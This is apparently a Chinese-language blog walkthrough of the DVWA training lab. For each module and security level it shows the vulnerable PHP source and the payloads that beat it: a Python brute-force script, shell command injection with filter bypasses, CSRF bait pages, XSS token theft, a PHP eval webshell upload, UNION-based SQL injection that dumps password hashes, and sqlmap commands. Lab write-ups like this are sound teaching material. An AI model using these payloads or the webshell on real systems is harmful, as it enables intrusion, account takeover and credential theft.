二月份做过一遍,现在复习一下。

暴力破解

1.low

image-20220127105718016

发送到Intruder模块破解即可。

image-20220127110040408

或者使用万能密码登陆

image-20220127110633591

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

image-20220127111122668

这个函数对特殊字符进行转义,使得万能密码失效,只能用暴力破解的方法了。

3.high

1
2
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

Token直接并到URL后面。

1
http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=2f7c77f2d6684f968502e34a49b71c39#

使用脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from bs4 import BeautifulSoup
import requests

header={
'GET': 'http://150.158.167.184:81/vulnerabilities/brute/ HTTP/1.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer':'http://150.158.167.184:81/vulnerabilities/brute/',
'cookie':'PHPSESSID=ukih93al6mi9q6sghlo6oo5h90; security=high',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Host':'127.0.0.1'
}
requrl="http://150.158.167.184:81/vulnerabilities/brute/"


def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']") #返回的是一个list列表
user_token=input[0]['value'] #获取用户的token
return user_token

user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
requrl="http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
# 尝试次数
if(i==20):
break

image-20220127114525285

命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

1.Low

没有任何防护,可以直接执行命令:127.0.0.1 && ipconfig

2.medium

1
2
命令1  &&  命令2  表示先执行命令1,成功后接着执行命令2。
命令1 || 命令2 表示先执行命令1,不成功再执行命令2,命令1执行成功,则不再执行命令2。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1、“;”分隔符
用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如:

输入:命令A;命令B;命令C

按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。



2、“&&”分隔符
同C、C++语言逻辑运算符"&&"类似,遇到首个命令执行失败后,后面的命令不会执行。如:

输入:命令A && 命令B && 命令C

先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。



3、“||”分隔符
同C、C++语言逻辑运算符"||"类似,遇到首个命令执行成功后,后面的命令不会执行。如:

输入:命令A || 命令B || 命令C

先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。

用黑名单的形势过滤了‘&&’和’;’命令连接符。

1
2
3
4
5
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

此时,可以只使用’&’来进行命令注入。

image-20220122114355231

3.high

对很多符号都进行了黑名单限制

1
2
3
4
5
6
7
8
9
10
11
12
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

但其中有一处细节,’| ‘后面有空格,只过滤了有空格的|命令,此时可以通过无空格的’|’来进行命令注入。

4.impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

impossible也就是防护方法,通过对ip地址分片,对四个部分进行检查,判断是否都是数字。这样就可以从逻辑上防止命令注入。

CSRF

img

原理:攻击者利用目标用户的身份,以目标用户的名义执行非法操作

  • 目标用户已经登陆了网站,能够执行网站的操作
  • 目标用户访问了攻击者构造的URL

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

1.low

没有任何防护,可以直接通过url进行修改密码。可以通过“短链接”+“社工”的方式,诱惑受害人点击此链接,从而成功修改密码。

短链接在线生成:http://tool.chinaz.com/tools/dwz.aspx

password_new=123&password_conf=123&Change=Change#

可以伪装成恶意网页,进行欺骗攻击

1
2
3
4
<h1>404<h1>

<a href="http://49.232.78.252:81/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#">W3School</a>
<h2>file not found.<h2>

image-20220122223437202

受害者点开链接之后,密码已被修改。

网上还有一种攻击方式:

1
2
<img src="http://192.168.50.100/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=
hack&Change=Change#" border="0" style="display:none;"/>

打开网页文件即可,不用点击链接。但是已经多次实践未成功。

2.medium

image-20220122214135985

1
2
3
4
5
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

对referer进行了检查

1
2
3
4
5
6
7
8
9
GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
Host: 49.232.78.252:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://49.232.78.252:81/vulnerabilities/csrf/
Cookie: PHPSESSID=9mjbjlhio6pup4mq4ne932fbo2; security=medium
Upgrade-Insecure-Requests: 1

添加referer之后便可成功修改密码

image-20220122220656993

或者对referer根据判断条件进行伪造

3.high

1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change&user_token=367c7e82e1c3e847203981e6d36ced78#

在url后面添加了token

通过XSS弹出token

1
2
3
<img src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
或者
<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

image-20220122224913629

在URL后面加上通过XSS窃取的token,即可攻击成功。

文件包含

1.low

image-20220123153556747

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

image-20220123154324075

可以直接读取phpinfo

本地文件包含:

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\\wamp\\www\\DVWA\\phpinfo.php

远程文件包含:

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1//DVWA//about.php

也可以通过php协议读取。

image-20220123155108903

2.medium

对输入进行了验证,对不法字符进行替换。

1
2
3
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

str_replace函数是不安全的,可以采用双写进行绕过。

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=htthttp://p://127.0.0.1//123.txt
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=....//....//....//123.txt
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././..././123.txt

3.high

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D://wamp//install.txt

payload如下:

新建文件123.txt

1
2
3
4
5
<?php
phpinfo();
?>
hello world
@@@@@

image-20220123200007635

文件上传

1.low

无任何限制,可直接上传文件

但是对文件大小做了限制,可以在前端进行修改。

上传一句话木马,然后用get传参进行攻击。

1
http://127.0.0.1/DVWA/hackable/uploads/cmd.php?cmd=system(%22dir%22);

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

对文件类型进行了限制,只能上传jpeg/PNG.

可以通过修改后缀名进行绕过

首先写一句话木马

1
2
3
<?php
@eval($_REQUEST['cmd']);
?>

修改文件名为:cmd.php.jpeg或者cmd.jpeg

然后通过burpsuite进行抓包,修改文件名,并进行重放。即可上传成功。修改为php后缀。

image-20220123234346994

可以看到,上传成功

image-20220123234449958

然后用蚁剑连接即可。

拿下!

image-20220123234540979

也可以直接通过get传参。

image-20220123235016536

image-20220123235708181

3.high

或者修改文件头为:GIF89

制作图片马,进行上传。

命令:

image-20220124001307489

image-20220124000341406

然后利用远程文件包含漏洞。或者“命令注入漏洞”。

image-20220124001628374

不安全验证码

这里需要Google API,实验环境不具备。

本质上来说,是利用验证码检测的逻辑漏洞,通过修改参数,进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

SQL注入

1.low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

输入:1’ and 1=1

报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

输入:1’ and 1=1 #

image-20220124213648935

判断字段长度

1’ order by 1 #

输入3,出现报错。

说明只有两个字段。

判断回显:1’ union select 1,2 #

然后代入查询

image-20220124220733662

获取表:

1
1' union select 1,table_name from information_schema.tables where table_schema='dvwa

image-20220124221050252

如果表比较多:

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa

然后查询字段:

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users

image-20220124221524714

1
1' union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

image-20220124221846909

MD5解密即可:

image-20220124221948385

image-20220126190404257

也可以通过sqlmap进行注入。

1
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=2skes96bbgh4hn8js60vknurp1" -D dvwa -T users --columns

image-20220126191946435

2.medium

image-20220124231311544

不能自己输入数据

image-20220124224410909

直接用burpsuite抓包

image-20220124224442044

id=1 or 1=1#&Submit=Submit

image-20220124224747335

image-20220124224948257

然后按照Low级别进行注入即可。

image-20220124230216520

这里对单引号进行了转义,可以用16进制或者Mysql函数进行绕过。

image-20220124230508389

1
2
s='users'.encode('utf-8')
print(s.hex())

image-20220124231444083

也可以通过hackbar提交POST

先通过BP抓包,保存为文件 ,然后用sqlmap进行注入。

3.high

在新的一个页面进行查询,防止常规sqlmap注入。

image-20220124233237791

在sqlmap中,可以用second-url指定参数,然后进行注入。

盲注

1.low

image-20220126214941988

image-20220126221926938

存在字符型注入。

然后判断数据库名称长度:

1
2
3
4
1' and length(database())=1#
1' and length(database())=2#
1' and length(database())=3#
1' and length(database())=4# 存在

然后逐字符进行判断:

1
1' and ascii(substr(database(),1,1))<122# 可使用二分法

也可以使用时间注入的方法:

1
2
1'and sleep(3)#  有延迟
1 and sleep(3)# 无延迟
1
1' and if(ascii(substr(database(),1,1))<120,sleep(5),1)#

2.medium

跟前一模块一样,先burpsuite抓包,再进行注入。

3.high

跟前一模块相同。

weak Session IDs

1.low

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

image-20220127212611823

每按一次,session_id+1,因此可以猜解。

2.medium

1
2
3
4
5
6
7
8
9
 <?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

cookie的值是系统当前时间。

image-20220127213037481

3.high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

XSS

1.low

无任何过滤,直接XSS,<script>alert(1)</script>

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

双写绕过:

1
<scrip<script>t>alert(/xss/)</script>

大小写绕过:

1
<Script>alert(/xss/)</script>

3.high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

过滤了’script’,可以用其他标签绕过

1
<img src="" onerror=alert(1)>

CSP绕过

1.low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

image-20220204095601218

打开给定的网站

image-20220204095512846写入一段Js代码

image-20220204095953637

image-20220204095936972

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

输入:

1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

payload: <script src="source/jsonp.php?callback=alert('1');"></script>